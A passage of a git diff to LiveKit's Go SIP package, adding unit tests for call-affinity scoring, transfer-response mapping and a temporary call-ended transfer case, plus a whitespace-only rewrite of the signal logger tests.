"application/sdp")) + inviteRequest2.AppendHeader(sip.NewHeader("Call-ID", callID)) + inviteRequest2.AppendHeader(sip.NewHeader("Proxy-Authorization", cred.String())) + inviteRequest2.AppendHeader(&inviteFromHeader) + + tx2, err := sipClient.TransactionRequest(inviteRequest2) + require.NoError(t, err) + t.Cleanup(tx2.Terminate) + + // Should receive 100 Trying first, then proceed with authentication + res2 := getResponseOrFail(t, tx2) + require.Equal(t, sip.StatusCode(100), res2.StatusCode, "Second request should receive 100 Trying") + + // Wait a bit for the handler to be called + time.Sleep(100 * time.Millisecond) + + // Verify we captured exactly 2 call IDs + mu.Lock() + require.Len(t, capturedCallIDs, 2, "Should have captured 2 call IDs") + require.Equal(t, capturedCallIDs[0], capturedCallIDs[1], "Both requests should have the same LiveKit call ID") + require.NotEmpty(t, capturedCallIDs[0], "Call ID should not be empty") + require.Contains(t, capturedCallIDs[0], "SCL_", "Call ID should have SCL_ prefix") + mu.Unlock() + + t.Logf("First call ID: %s", capturedCallIDs[0]) + t.Logf("Second call ID: %s", capturedCallIDs[1]) +} + +// newServiceForAffinity creates a minimal Service with initialized client/server maps +// suitable for testing CreateSIPParticipantAffinity without network setup. +func newServiceForAffinity(conf *config.Config) *Service { + cli := &Client{ + conf: conf, + activeCalls: make(map[LocalTag]*outboundCall), + } + srv := &Server{ + conf: conf, + byLocalTag: make(map[LocalTag]*inboundCall), + } + return &Service{ + conf: conf, + cli: cli, + srv: srv, + } +} + +func TestCreateSIPParticipantAffinity_NoConfig_NoCalls(t *testing.T) { + s := newServiceForAffinity(&config.Config{}) + got := s.CreateSIPParticipantAffinity(context.Background(), nil) + // 1 / (1 + 0) = 1.0 + require.InDelta(t, float32(1.0), got, 0.001) +} + +func TestCreateSIPParticipantAffinity_NoConfig_WithCalls(t *testing.T) { + s := newServiceForAffinity(&config.Config{}) + + // Add 4 outbound calls + for i := 0; i < 4; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + // Add 5 inbound calls + for i := 0; i < 5; i++ { + s.srv.byLocalTag[LocalTag(fmt.Sprintf("in-%d", i))] = &inboundCall{} + } + + got := s.CreateSIPParticipantAffinity(context.Background(), nil) + // 1 / (1 + 9) = 0.1 + require.InDelta(t, float32(0.1), got, 0.001) +} + +func TestCreateSIPParticipantAffinity_WithMaxCalls(t *testing.T) { + s := newServiceForAffinity(&config.Config{MaxActiveCalls: 100}) + + got := s.CreateSIPParticipantAffinity(context.Background(), nil) + // 0 active, max 100 => 1 - 0/100 = 1.0 + require.InDelta(t, float32(1.0), got, 0.001) +} + +func TestCreateSIPParticipantAffinity_WithMaxCalls_PartialLoad(t *testing.T) { + s := newServiceForAffinity(&config.Config{MaxActiveCalls: 100}) + + // Add 25 outbound calls before first measurement + for i := 0; i < 25; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + got := s.CreateSIPParticipantAffinity(context.Background(), nil) + // 25 active, max 100 => 1 - 25/100 = 0.75 + require.InDelta(t, float32(0.75), got, 0.001) + + // Add 25 more (50 total) + for i := 25; i < 50; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + got = s.CreateSIPParticipantAffinity(context.Background(), nil) + // 50 active, max 100 => 1 - 50/100 = 0.5 + require.InDelta(t, float32(0.5), got, 0.001) + + // Add 49 more (99 total, just under capacity) + for i := 50; i < 99; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + got = s.CreateSIPParticipantAffinity(context.Background(), nil) + // 99 active, max 100 => 1 - 99/100 = 0.01 + require.InDelta(t, float32(0.01), got, 0.001) +} + +func TestCreateSIPParticipantAffinity_AtCapacity(t *testing.T) { + s := newServiceForAffinity(&config.Config{MaxActiveCalls: 10}) + + for i := 0; i < 10; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + + got := s.CreateSIPParticipantAffinity(context.Background(), nil) + require.Equal(t, float32(0), got) +} + +func TestCreateSIPParticipantAffinity_OverCapacity(t *testing.T) { + s := newServiceForAffinity(&config.Config{MaxActiveCalls: 10}) + + for i := 0; i < 15; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + + got := s.CreateSIPParticipantAffinity(context.Background(), nil) + require.Equal(t, float32(0), got) +} + +func TestCreateSIPParticipantAffinity_MixedInboundOutbound(t *testing.T) { + s := newServiceForAffinity(&config.Config{MaxActiveCalls: 20}) + + // 6 outbound + 4 inbound = 10 total + for i := 0; i < 6; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + for i := 0; i < 4; i++ { + s.srv.byLocalTag[LocalTag(fmt.Sprintf("in-%d", i))] = &inboundCall{} + } + + got := s.CreateSIPParticipantAffinity(context.Background(), nil) + // 10 active, max 20 => 1 - 10/20 = 0.5 + require.InDelta(t, float32(0.5), got, 0.001) +} + +func TestCreateSIPParticipantAffinity_TrunkWhitelist_Allowed(t *testing.T) { + s := newServiceForAffinity(&config.Config{ + SIPTrunkIds: []string{"trunk-a", "trunk-b"}, + }) + + req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-a"} + got := s.CreateSIPParticipantAffinity(context.Background(), req) + // Trunk is whitelisted, 0 active calls, no max => 1/(1+0) = 1.0 + require.InDelta(t, float32(1.0), got, 0.001) +} + +func TestCreateSIPParticipantAffinity_TrunkWhitelist_Rejected(t *testing.T) { + s := newServiceForAffinity(&config.Config{ + SIPTrunkIds: []string{"trunk-a", "trunk-b"}, + }) + + req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-c"} + got := s.CreateSIPParticipantAffinity(context.Background(), req) + require.Equal(t, float32(0), got) +} + +func TestCreateSIPParticipantAffinity_TrunkWhitelist_EmptyTrunkId(t *testing.T) { + s := newServiceForAffinity(&config.Config{ + SIPTrunkIds: []string{"trunk-a"}, + }) + + req := &rpc.InternalCreateSIPParticipantRequest{} + got := s.CreateSIPParticipantAffinity(context.Background(), req) + // Empty trunk ID is not in the whitelist + require.Equal(t, float32(0), got) +} + +func TestCreateSIPParticipantAffinity_TrunkWhitelist_EmptyList(t *testing.T) { + s := newServiceForAffinity(&config.Config{}) + + // No whitelist configured, any trunk ID should work + req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "any-trunk"} + got := s.CreateSIPParticipantAffinity(context.Background(), req) + require.InDelta(t, float32(1.0), got, 0.001) +} + +func TestCreateSIPParticipantAffinity_TrunkWhitelist_WithMaxCalls(t *testing.T) { + s := newServiceForAffinity(&config.Config{ + SIPTrunkIds: []string{"trunk-a"}, + MaxActiveCalls: 100, + }) + + // Add 50 calls + for i := 0; i < 50; i++ { + s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} + } + + // Whitelisted trunk: should get normal affinity + req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-a"} + got := s.CreateSIPParticipantAffinity(context.Background(), req) + require.InDelta(t, float32(0.5), got, 0.001) + + // Non-whitelisted trunk: 0 regardless of load + req = &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-x"} + got = s.CreateSIPParticipantAffinity(context.Background(), req) + require.Equal(t, float32(0), got) +} + +func TestTransferResponse(t *testing.T) { + const transferID = "STR_test" + + cases := []struct { + Name string + Outcome transferOutcome + Status livekit.SIPTransferStatus + Reason livekit.SIPTransferReason + SIPStatus livekit.SIPStatusCode + }{ + { + Name: "success", + Outcome: transferOutcome{TransferID: transferID}, + Status: livekit.SIPTransferStatus_STS_TRANSFER_SUCCESSFUL, + Reason: livekit.SIPTransferReason_STR_COMPLETED, + }, + { + Name: "call ended", + Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewError(psrpc.Aborted, errTransferCallEnded)}, + Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, + Reason: livekit.SIPTransferReason_STR_CALL_ENDED, + }, + { + Name: "subscription terminated", + Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewErrorf(psrpc.UpstreamServerError, + "call transfer failed: %w (reason %q, last status %d)", errReferSubscriptionTerminated, "giveup", 100)}, + Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, + Reason: livekit.SIPTransferReason_STR_SUBSCRIPTION_TERMINATED, + }, + { + Name: "rejected by the transferee", + Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewErrorf(psrpc.UpstreamClientError, "call transfer failed: %w", + &livekit.SIPStatus{Code: livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, Status: "Temporarily Unavailable"})}, + Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, + Reason: livekit.SIPTransferReason_STR_REJECTED, + SIPStatus: livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, + }, + { + Name: "ran out of time", + Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewError(psrpc.Canceled, context.DeadlineExceeded)}, + Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, + Reason: livekit.SIPTransferReason_STR_RINGING_TIMEOUT, + }, + { + Name: "no transfer started", + Outcome: transferOutcome{Err: psrpc.NewErrorf(psrpc.NotFound, "unknown call")}, + Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, + Reason: livekit.SIPTransferReason_STR_UNSPECIFIED, + }, + } + for _, c := range cases { + t.Run(c.Name, func(t *testing.T) { + resp := transferResponse(c.Outcome) + require.Equal(t, c.Outcome.TransferID, resp.TransferId) + require.Equal(t, c.Status, resp.Status) + require.Equal(t, c.Reason, resp.Reason) + if c.SIPStatus == 0 { + require.Nil(t, resp.SipStatus) + return + } + require.NotNil(t, resp.SipStatus) + require.Equal(t, c.SIPStatus, resp.SipStatus.Code) + }) + } +} + +// TestTransferCallEndedIsNotAnError pins temporary behaviour. When the call ends +// before the transfer completes, the transfer has failed, but the RPC reports +// that only in the response and returns no error: callers branch on the error, +// and this case has always reached them as a success, so erroring now would +// break them. Once that reclassification has been announced to customers, this +// case becomes an error like any other failure, and this test should be +// deleted along with the special case it covers. +func TestTransferCallEndedIsNotAnError(t *testing.T) { + const ( + callID = "test-call" + transferTo = "tel:+15551234567" + transferID = "STR_test" + ) + + // newService returns a service holding one call, with the transfer to that + // call already finished and reporting out. + newService := func(out transferOutcome) *Service { + s := newServiceForAffinity(&config.Config{}) + s.log = logger.GetLogger() + s.pendingTransfers = make(map[LocalTag]*PendingTransfer) + s.srv.byLocalTag[LocalTag(callID)] = &inboundCall{} + + pending := &PendingTransfer{ + CallID: callID, + TransferTo: transferTo, + Done: make(chan transferOutcome, 1), + } + pending.Done <- out + pending.Outcome.Store(&out) + s.pendingTransfers[LocalTag(callID)] = pending + return s + } + + req := &rpc.InternalTransferSIPParticipantRequest{ + SipCallId: callID, + TransferTo: transferTo, + } + + t.Run("call ended", func(t *testing.T) { + s := newService(transferOutcome{ + TransferID: transferID, + Err: psrpc.NewError(psrpc.Aborted, errTransferCallEnded), + }) + + resp, err := s.TransferSIPParticipant(t.Context(), req) + require.NoError(t, err, "a call that ended mid-transfer must not surface as an error") + require.NotNil(t, resp) + require.Equal(t, transferID, resp.TransferId) + require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_FAILED, resp.Status) + require.Equal(t, livekit.SIPTransferReason_STR_CALL_ENDED, resp.Reason) + require.Nil(t, resp.SipStatus) + }) + + t.Run("other failures still error", func(t *testing.T) { + // Only the call-ended case is swallowed. Everything else keeps erroring, + // which is what callers already handle. + sipStatus := &livekit.SIPStatus{ + Code: livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, + Status: "Temporarily Unavailable", + } + s := newService(transferOutcome{ + TransferID: transferID, + Err: psrpc.NewErrorf(psrpc.UpstreamClientError, "call transfer failed: %w", sipStatus), + }) + + resp, err := s.TransferSIPParticipant(t.Context(), req) + require.Error(t, err) + require.NotNil(t, resp) + require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_FAILED, resp.Status) + require.Equal(t, livekit.SIPTransferReason_STR_REJECTED, resp.Reason) + require.NotNil(t, resp.SipStatus) + require.Equal(t, livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, resp.SipStatus.Code) + }) +} diff --git a/pkg/sip/signal_logger_test.go b/pkg/sip/signal_logger_test.go index 457145191..e8fc5a8d1 100644 --- a/pkg/sip/signal_logger_test.go +++ b/pkg/sip/signal_logger_test.go @@ -1,242 +1,242 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "fmt" - "math/rand/v2" - "sync/atomic" - "testing" - "testing/synctest" - "time" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/protocol/logger" - "github.com/stretchr/testify/require" -) - -// mockPCM16Writer is a simple mock implementation of PCM16Writer for testing -type mockPCM16Writer struct { - sampleRate int - samples []msdk.PCM16Sample - closed atomic.Bool -} - -func newMockPCM16Writer(sampleRate int) *mockPCM16Writer { - return &mockPCM16Writer{ - sampleRate: sampleRate, - samples: make([]msdk.PCM16Sample, 0), - } -} - -func (m *mockPCM16Writer) String() string { - return "mockPCM16Writer" -} - -func (m *mockPCM16Writer) SampleRate() int { - return m.sampleRate -} - -func (m *mockPCM16Writer) Close() error { - m.closed.Store(true) - return nil -} - -func (m *mockPCM16Writer) WriteSample(sample msdk.PCM16Sample) error { - m.samples = append(m.samples, sample) - return nil -} - -func TestSignalLogger_initialization(t *testing.T) { - next := newMockPCM16Writer(48000) - - t.Run("default initialization", func(t *testing.T) { - log := logger.NewTestLogger(t) - out, err := NewSignalLogger(log, "incoming", next) - sl, ok := out.(*SignalLogger) - require.True(t, ok) - require.NoError(t, err) - require.NotNil(t, sl) - require.InDelta(t, float64(DefaultInitialNoiseFloorDB), sl.noiseFloor, 0.01) - require.Equal(t, DefaultHangoverDuration, sl.hangoverDuration) - require.InDelta(t, float64(DefaultEnterVoiceOffsetDB), sl.enterVoiceOffsetDB, 0.01) - require.InDelta(t, float64(DefaultExitVoiceOffsetDB), sl.exitVoiceOffsetDB, 0.01) - }) - - t.Run("with valid options", func(t *testing.T) { - log := logger.NewTestLogger(t) - out, err := NewSignalLogger(log, "incoming", next, WithNoiseFloor(-60), WithHangoverDuration(2*time.Second), WithEnterVoiceOffsetDB(9), WithExitVoiceOffsetDB(4)) - sl, ok := out.(*SignalLogger) - require.True(t, ok) - require.NoError(t, err) - require.NotNil(t, sl) - require.Equal(t, -60.0, sl.noiseFloor) - require.Equal(t, 2*time.Second, sl.hangoverDuration) - require.Equal(t, 9.0, sl.enterVoiceOffsetDB) - require.Equal(t, 4.0, sl.exitVoiceOffsetDB) - }) - - t.Run("with invalid options", func(t *testing.T) { - log := logger.NewTestLogger(t) - _, err := NewSignalLogger(log, "incoming", next, WithHangoverDuration(-time.Second)) - require.Error(t, err) - require.Contains(t, err.Error(), "hangover duration must be positive, got -1s") - _, err = NewSignalLogger(log, "incoming", next, WithEnterVoiceOffsetDB(-1)) - require.Error(t, err) - require.Contains(t, err.Error(), "enterVoiceOffsetDB must be positive, got -1") - _, err = NewSignalLogger(log, "incoming", next, WithExitVoiceOffsetDB(-1)) - require.Error(t, err) - require.Contains(t, err.Error(), "exitVoiceOffsetDB must be positive, got -1") - _, err = NewSignalLogger(log, "incoming", next, WithNoiseFloor(-101)) - require.Error(t, err) - require.Contains(t, err.Error(), "noise floor must be >= -100 dBFS, got -101") - }) -} - -func newTestLogger(t *testing.T, opts ...SignalLoggerOption) (*SignalLogger, *mockPCM16Writer) { - next := newMockPCM16Writer(48000) - out, err := NewSignalLogger(logger.NewTestLogger(t), "incoming", next, opts...) - sl, ok := out.(*SignalLogger) - require.True(t, ok) - require.NoError(t, err) - return sl, next -} - -func writer(t *testing.T, sl *SignalLogger, array []msdk.PCM16Sample, count int, wait bool) error { - for i := 0; i < count; i++ { - randIndex := rand.Uint() % uint(len(array)) - if err := sl.WriteSample(array[randIndex]); err != nil { - return err - } - since := time.Since(sl.lastSignalTime).Milliseconds() - t.Logf("%d written sample %d/%d, noise floor %.1f dBFS, state changes %d, last signal %t (%dms ago)\n", sl.framesProcessed, randIndex, len(array), sl.noiseFloor, sl.stateChanges, sl.lastIsSignal, since) - if wait { - time.Sleep(rtp.DefFrameDur) - } - } - return nil -} - -func testTransition(t *testing.T, first, second []msdk.PCM16Sample, firstCount, secondCount int, wait bool, opts ...SignalLoggerOption) *SignalLogger { - sl, _ := newTestLogger(t, opts...) - require.NoError(t, writer(t, sl, first, firstCount, wait)) - require.Equal(t, uint64(firstCount), sl.framesProcessed) - require.NoError(t, writer(t, sl, second, secondCount, wait)) - require.Equal(t, uint64(firstCount+secondCount), sl.framesProcessed) - return sl -} - -func createFrame(size int, amplitude int16) msdk.PCM16Sample { - frame := make(msdk.PCM16Sample, size) - for i := range frame { - frame[i] = amplitude - } - return frame -} - -// silenceAmplitude: frames with small amplitude yield low dBFS (e.g. ~-56 dBFS for 100), below exit threshold. -const silenceAmplitude = 50 - -// signalAmplitude: frames with larger amplitude yield high dBFS (e.g. ~-16 dBFS for 5000), above enter threshold (noiseFloor+10). -const signalAmplitude = 5000 - -func TestSignalLogger_WriteSample(t *testing.T) { - silenceFrames := make([]msdk.PCM16Sample, 100) - for i := range silenceFrames { - amplitude := int16(rand.Uint32() % uint32(silenceAmplitude)) - if rand.Uint()%2 == 0 { - amplitude = -amplitude - } - silenceFrames[i] = createFrame(480, amplitude) - } - - signalFrames := make([]msdk.PCM16Sample, 100) - for i := range signalFrames { - // Random amplitude around signalAmplitude (signalAmplitude/2 to signalAmplitude*3/2) so frames stay above enter threshold. - amplitude := int16(rand.Uint32()%uint32(signalAmplitude) + signalAmplitude/2) - if rand.Uint()%2 == 0 { - amplitude = -amplitude - } - signalFrames[i] = createFrame(480, amplitude) - } - - t.Run("not_printing_on_first_10_frames", func(t *testing.T) { - sl, _ := newTestLogger(t) - - require.NoError(t, writer(t, sl, silenceFrames, 5, false)) - require.NoError(t, writer(t, sl, signalFrames, 3, false)) - require.NoError(t, writer(t, sl, silenceFrames, 2, false)) - require.Equal(t, uint64(10), sl.framesProcessed) - require.Equal(t, uint64(0), sl.stateChanges) - }) - - t.Run("printing_on_11th_frame_transition", func(t *testing.T) { - t.Run("silence_to_signal", func(t *testing.T) { - sl := testTransition(t, silenceFrames, signalFrames, 10, 1, false) - require.Equal(t, uint64(1), sl.stateChanges) - }) - t.Run("signal_to_silence", func(t *testing.T) { - synctest.Test(t, func(t *testing.T) { - // Use fixed low-amplitude silence so we stay below exit threshold for hangover - lowSilence := make([]msdk.PCM16Sample, 60) - for i := range lowSilence { - lowSilence[i] = createFrame(480, 20) - } - sl := testTransition(t, signalFrames, lowSilence, 10, 60, true) - require.GreaterOrEqual(t, sl.stateChanges, uint64(1), "expected at least one transition to silence") - }) - }) - }) - - t.Run("silence_to_silence_transitions", func(t *testing.T) { - sl := testTransition(t, silenceFrames, silenceFrames, 10, 0, false) - require.Equal(t, uint64(0), sl.stateChanges) - require.Equal(t, false, sl.lastIsSignal) - }) - - t.Run("signal_to_signal_transitions", func(t *testing.T) { - sl := testTransition(t, signalFrames, signalFrames, 10, 0, false) - require.Equal(t, uint64(0), sl.stateChanges) - require.Equal(t, true, sl.lastIsSignal) - }) - - t.Run("silence_to_signal_transitions", func(t *testing.T) { - for i := 0; i < 100; i++ { - t.Run(fmt.Sprintf("silence_to_signal_transition_%d", i), func(t *testing.T) { - sl := testTransition(t, silenceFrames, signalFrames, 10, 1, false) - require.Equal(t, uint64(1), sl.stateChanges) - require.Equal(t, true, sl.lastIsSignal) - }) - } - }) - - t.Run("signal_to_silence_transitions", func(t *testing.T) { - // Fixed low-amplitude silence and 60 frames (60*DefFrameDur > 1s hangover) for reliable transition. - lowSilence := make([]msdk.PCM16Sample, 60) - for i := range lowSilence { - lowSilence[i] = createFrame(480, 20) - } - for i := 0; i < 100; i++ { - t.Run(fmt.Sprintf("signal_to_silence_transition_%d", i), func(t *testing.T) { - synctest.Test(t, func(t *testing.T) { - sl := testTransition(t, signalFrames, lowSilence, 10, 60, true) - require.GreaterOrEqual(t, sl.stateChanges, uint64(1), "expected at least one transition to silence") - require.Equal(t, false, sl.lastIsSignal) - }) - }) - } - }) -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "fmt" + "math/rand/v2" + "sync/atomic" + "testing" + "testing/synctest" + "time" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/protocol/logger" + "github.com/stretchr/testify/require" +) + +// mockPCM16Writer is a simple mock implementation of PCM16Writer for testing +type mockPCM16Writer struct { + sampleRate int + samples []msdk.PCM16Sample + closed atomic.Bool +} + +func newMockPCM16Writer(sampleRate int) *mockPCM16Writer { + return &mockPCM16Writer{ + sampleRate: sampleRate, + samples: make([]msdk.PCM16Sample, 0), + } +} + +func (m *mockPCM16Writer) String() string { + return "mockPCM16Writer" +} + +func (m *mockPCM16Writer) SampleRate() int { + return m.sampleRate +} + +func (m *mockPCM16Writer) Close() error { + m.closed.Store(true) + return nil +} + +func (m *mockPCM16Writer) WriteSample(sample msdk.PCM16Sample) error { + m.samples = append(m.samples, sample) + return nil +} + +func TestSignalLogger_initialization(t *testing.T) { + next := newMockPCM16Writer(48000) + + t.Run("default initialization", func(t *testing.T) { + log := logger.NewTestLogger(t) + out, err := NewSignalLogger(log, "incoming", next) + sl, ok := out.(*SignalLogger) + require.True(t, ok) + require.NoError(t, err) + require.NotNil(t, sl) + require.InDelta(t, float64(DefaultInitialNoiseFloorDB), sl.noiseFloor, 0.01) + require.Equal(t, DefaultHangoverDuration, sl.hangoverDuration) + require.InDelta(t, float64(DefaultEnterVoiceOffsetDB), sl.enterVoiceOffsetDB, 0.01) + require.InDelta(t, float64(DefaultExitVoiceOffsetDB), sl.exitVoiceOffsetDB, 0.01) + }) + + t.Run("with valid options", func(t *testing.T) { + log := logger.NewTestLogger(t) + out, err := NewSignalLogger(log, "incoming", next, WithNoiseFloor(-60), WithHangoverDuration(2*time.Second), WithEnterVoiceOffsetDB(9), WithExitVoiceOffsetDB(4)) + sl, ok := out.(*SignalLogger) + require.True(t, ok) + require.NoError(t, err) + require.NotNil(t, sl) + require.Equal(t, -60.0, sl.noiseFloor) + require.Equal(t, 2*time.Second, sl.hangoverDuration) + require.Equal(t, 9.0, sl.enterVoiceOffsetDB) + require.Equal(t, 4.0, sl.exitVoiceOffsetDB) + }) + + t.Run("with invalid options", func(t *testing.T) { + log := logger.NewTestLogger(t) + _, err := NewSignalLogger(log, "incoming", next, WithHangoverDuration(-time.Second)) + require.Error(t, err) + require.Contains(t, err.Error(), "hangover duration must be positive, got -1s") + _, err = NewSignalLogger(log, "incoming", next, WithEnterVoiceOffsetDB(-1)) + require.Error(t, err) + require.Contains(t, err.Error(), "enterVoiceOffsetDB must be positive, got -1") + _, err = NewSignalLogger(log, "incoming", next, WithExitVoiceOffsetDB(-1)) + require.Error(t, err) + require.Contains(t, err.Error(), "exitVoiceOffsetDB must be positive, got -1") + _, err = NewSignalLogger(log, "incoming", next, WithNoiseFloor(-101)) + require.Error(t, err) + require.Contains(t, err.Error(), "noise floor must be >= -100 dBFS, got -101") + }) +} + +func newTestLogger(t *testing.T, opts ...SignalLoggerOption) (*SignalLogger, *mockPCM16Writer) { + next := newMockPCM16Writer(48000) + out, err := NewSignalLogger(logger.NewTestLogger(t), "incoming", next, opts...) + sl, ok := out.(*SignalLogger) + require.True(t, ok) + require.NoError(t, err) + return sl, next +} + +func writer(t *testing.T, sl *SignalLogger, array []msdk.PCM16Sample, count int, wait bool) error { + for i := 0; i < count; i++ { + randIndex := rand.Uint() % uint(len(array)) + if err := sl.WriteSample(array[randIndex]); err != nil { + return err + } + since := time.Since(sl.lastSignalTime).Milliseconds() + t.Logf("%d written sample %d/%d, noise floor %.1f dBFS, state changes %d, last signal %t (%dms ago)\n", sl.framesProcessed, randIndex, len(array), sl.noiseFloor, sl.stateChanges, sl.lastIsSignal, since) + if wait { + time.Sleep(rtp.DefFrameDur) + } + } + return nil +} + +func testTransition(t *testing.T, first, second []msdk.PCM16Sample, firstCount, secondCount int, wait bool, opts ...SignalLoggerOption) *SignalLogger { + sl, _ := newTestLogger(t, opts...) + require.NoError(t, writer(t, sl, first, firstCount, wait)) + require.Equal(t, uint64(firstCount), sl.framesProcessed) + require.NoError(t, writer(t, sl, second, secondCount, wait)) + require.Equal(t, uint64(firstCount+secondCount), sl.framesProcessed) + return sl +} + +func createFrame(size int, amplitude int16) msdk.PCM16Sample { + frame := make(msdk.PCM16Sample, size) + for i := range frame { + frame[i] = amplitude + } + return frame +} + +// silenceAmplitude: frames with small amplitude yield low dBFS (e.g. ~-56 dBFS for 100), below exit threshold. +const silenceAmplitude = 50 + +// signalAmplitude: frames with larger amplitude yield high dBFS (e.g. ~-16 dBFS for 5000), above enter threshold (noiseFloor+10). +const signalAmplitude = 5000 + +func TestSignalLogger_WriteSample(t *testing.T) { + silenceFrames := make([]msdk.PCM16Sample, 100) + for i := range silenceFrames { + amplitude := int16(rand.Uint32() % uint32(silenceAmplitude)) + if rand.Uint()%2 == 0 { + amplitude = -amplitude + } + silenceFrames[i] = createFrame(480, amplitude) + } + + signalFrames := make([]msdk.PCM16Sample, 100) + for i := range signalFrames { + // Random amplitude around signalAmplitude (signalAmplitude/2 to signalAmplitude*3/2) so frames stay above enter threshold. + amplitude := int16(rand.Uint32()%uint32(signalAmplitude) + signalAmplitude/2) + if rand.Uint()%2 == 0 { + amplitude = -amplitude + } + signalFrames[i] = createFrame(480, amplitude) + } + + t.Run("not_printing_on_first_10_frames", func(t *testing.T) { + sl, _ := newTestLogger(t) + + require.NoError(t, writer(t, sl, silenceFrames, 5, false)) + require.NoError(t, writer(t, sl, signalFrames, 3, false)) + require.NoError(t, writer(t, sl, silenceFrames, 2, false)) + require.Equal(t, uint64(10), sl.framesProcessed) + require.Equal(t, uint64(0), sl.stateChanges) + }) + + t.Run("printing_on_11th_frame_transition", func(t *testing.T) { + t.Run("silence_to_signal", func(t *testing.T) { + sl := testTransition(t, silenceFrames, signalFrames, 10, 1, false) + require.Equal(t, uint64(1), sl.stateChanges) + }) + t.Run("signal_to_silence", func(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + // Use fixed low-amplitude silence so we stay below exit threshold for hangover + lowSilence := make([]msdk.PCM16Sample, 60) + for i := range lowSilence { + lowSilence[i] = createFrame(480, 20) + } + sl := testTransition(t, signalFrames, lowSilence, 10, 60, true) + require.GreaterOrEqual(t, sl.stateChanges, uint64(1), "expected at least one transition to silence") + }) + }) + }) + + t.Run("silence_to_silence_transitions", func(t *testing.T) { + sl := testTransition(t, silenceFrames, silenceFrames, 10, 0, false) + require.Equal(t, uint64(0), sl.stateChanges) + require.Equal(t, false, sl.lastIsSignal) + }) + + t.Run("signal_to_signal_transitions", func(t *testing.T) { + sl := testTransition(t, signalFrames, signalFrames, 10, 0, false) + require.Equal(t, uint64(0), sl.stateChanges) + require.Equal(t, true, sl.lastIsSignal) + }) + + t.Run("silence_to_signal_transitions", func(t *testing.T) { + for i := 0; i < 100; i++ { + t.Run(fmt.Sprintf("silence_to_signal_transition_%d", i), func(t *testing.T) { + sl := testTransition(t, silenceFrames, signalFrames, 10, 1, false) + require.Equal(t, uint64(1), sl.stateChanges) + require.Equal(t, true, sl.lastIsSignal) + }) + } + }) + + t.Run("signal_to_silence_transitions", func(t *testing.T) { + // Fixed low-amplitude silence and 60 frames (60*DefFrameDur > 1s hangover) for reliable transition. + lowSilence := make([]msdk.PCM16Sample, 60) + for i := range lowSilence { + lowSilence[i] = createFrame(480, 20) + } + for i := 0; i < 100; i++ { + t.Run(fmt.Sprintf("signal_to_silence_transition_%d", i), func(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + sl := testTransition(t, signalFrames, lowSilence, 10, 60, true) + require.GreaterOrEqual(t, sl.stateChanges, uint64(1), "expected at least one transition to silence") + require.Equal(t, false, sl.lastIsSignal) + }) + }) + } + }) +} diff --git a/pkg/sip/signaling_test.go b/pkg/sip/signaling_test.go index 0558f2da3..8bf138aad 100644 --- a/pkg/sip/signaling_test.go +++ b/pkg/sip/signaling_test.go @@ -1,1894 +1,1894 @@ -package sip - -import ( - "context" - "fmt" - "log/slog" - "math/rand" - "net" - "net/netip" - "slices" - "sync" - "sync/atomic" - "testing" - "time" - - "errors" - - "github.com/stretchr/testify/require" - "google.golang.org/protobuf/types/known/durationpb" - - "github.com/livekit/media-sdk/g711" - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/psrpc" - "github.com/livekit/sipgo" - 